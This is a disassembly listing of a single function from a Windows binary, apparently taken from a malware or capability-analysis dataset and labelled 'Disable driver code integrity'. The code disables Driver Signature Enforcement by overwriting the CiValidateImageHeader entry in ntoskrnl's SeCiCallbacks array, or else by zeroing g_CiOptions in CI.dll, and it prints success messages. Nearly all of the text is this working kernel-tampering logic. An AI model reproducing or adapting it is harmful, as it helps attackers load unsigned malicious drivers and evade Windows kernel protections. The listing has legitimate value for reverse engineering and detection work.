Function at 0x1400038a0
Capabilities:
Disable driver code integrity
Load ntoskrnl

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140054018]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov esi, edx
test ecx, ecx
je 0x140003a85
cmp ecx, 1
jne 0x140003b2b
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], r14
call fcn.14000ab20
mov rbx, rax
lea rcx, str.____DSE_callback_swapping__SeCiCallbacks_arrays_address:__p_n
add rbx, qword [0x140056700]
mov rdx, rbx
call fcn.140001010
lea rcx, str.CI.dll
call fcn.14000abc0
mov r14, qword [0x140056b20]
lea rcx, str.____DSE_callback_swapping__Looking_for_entry_equals_to_CiValidateImageHeader___p__n
add r14, rax
mov rdx, r14
call fcn.140001010
call fcn.14000ab20
lea rcx, str.ntoskrnl.exe
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x1400039e6
lea rdx, str.ZwFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sub rsi, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rbp, rsi
je 0x1400039e6
mov rsi, rbx
neg rsi
nop dword [rax]
lea r8, [rsp + 0x38]
mov rdx, rbx
mov ecx, 8
call fcn.14000a840
mov rdi, qword [rsp + 0x38]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.14000acd0
mov rcx, qword [rsp + 0x30]
lea r8, [rsi + rbx]
mov qword [rsp + 0x28], rcx
mov r9, rdi
lea rcx, str.____DSE_callback_swapping___0x_016llx__seCiCallbacks__0x_llx___t_t_0x_016llx___s__0x_llx__n
mov qword [rsp + 0x20], rax
mov rdx, rbx
call fcn.140001010
cmp rdi, r14
je 0x1400039d5
cmp rdi, rbp
je 0x1400039d5
add rbx, 8
lea rax, [rsi + rbx]
cmp rax, 0x100
jb 0x140003970
jmp 0x1400039da
test rbx, rbx
jne 0x1400039f7
lea rcx, str._____DSE_callback_swapping__Failed_to_locate_an_entry_in_SeCiCallbacks_pointing_at_Ci_CiValidateImageHeader_n
call fcn.140001010
mov r14, qword [rsp + 0x68]
xor ebx, ebx
mov rbp, qword [rsp + 0x60]
jmp 0x140003b0c
mov rdx, rbx
lea rcx, str.____DSE_callback_swapping__Found_the_Ci_CiValidateImageHeader_in_the_array_at__p_n
call fcn.140001010
call fcn.14000ab20
lea rcx, str.ntoskrnl.exe
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x1400039e6
lea rdx, str.ZwFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sub rbp, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsi, rbp
je 0x1400039e6
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], rsi
mov rdx, rbx
mov ecx, 8
call fcn.14000a9b0
lea rcx, str.___Successfully_disabled_DSE_by_overwriting_Ci_CiValidateImageHeader_n
call fcn.140001010
mov r14, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov qword [0x1400586f0], rbx
mov ebx, 1
jmp 0x140003b0c
xor ebx, ebx
cmp qword [0x140056b18], rbx
mov dword [0x1400586f8], ebx
je 0x140003b0c
lea rcx, str.CI.dll
call fcn.14000abc0
mov rdx, rax
test rax, rax
jne 0x140003ab8
lea rcx, str.____CI_base_address_not_found___n
call fcn.140018be0
jmp 0x140003b0c
mov rdi, qword [0x140056b18]
add rdi, rdx
test esi, esi
je 0x140003ad5
mov r8, rdi
lea rcx, str.____DSE_g_CiOptions_patching__CI.dll_kernel_base_address_found_at_0x_llx._The_g_CiOptions_is_at__llx___n
call fcn.140001010
lea r8, [rsp + 0x30]
mov rdx, rdi
mov ecx, 4
call fcn.14000a840
mov eax, dword [rsp + 0x30]
lea r8, [rsp + 0x38]
mov rdx, rdi
mov dword [0x1400586f8], eax
mov ecx, 4
mov dword [rsp + 0x38], ebx
call fcn.14000a9b0
mov ebx, 1
mov eax, ebx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000dc70
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
lea rcx, str.Invalid_DSE_disabling_method__aborting...
call fcn.140001010
mov ecx, 1
call fcn.1400120f0
int3